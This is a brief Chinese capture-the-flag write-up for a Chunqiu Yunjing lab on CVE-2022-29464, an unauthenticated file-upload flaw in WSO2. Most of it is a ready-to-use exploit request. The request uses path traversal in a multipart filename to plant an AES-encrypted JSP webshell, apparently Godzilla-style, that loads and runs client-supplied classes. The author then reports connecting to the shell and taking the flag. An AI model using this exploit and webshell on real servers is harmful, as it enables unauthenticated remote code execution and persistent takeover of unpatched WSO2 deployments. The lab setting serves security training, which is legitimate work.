春秋云镜 - CVE-2022-29464

WSO2文件上传漏洞（CVE-2022-29464）是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传，允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。

url跳转登录页面。

利用网上的poc，直接向写authenticationendpoint中写。

POST /fileupload/toolsAny HTTP/2
Host: eci-2ze0csz5197t0mxz8so4.cloudeci1.ichunqiu.com:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 901
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/test.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/test.jsp"

<%! String xc="3c6e0b8a9c15224a"; String pass="110"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
--4ef9f369a86bfaadf5ec3177278d49c0--

发包连接成功，拿到flag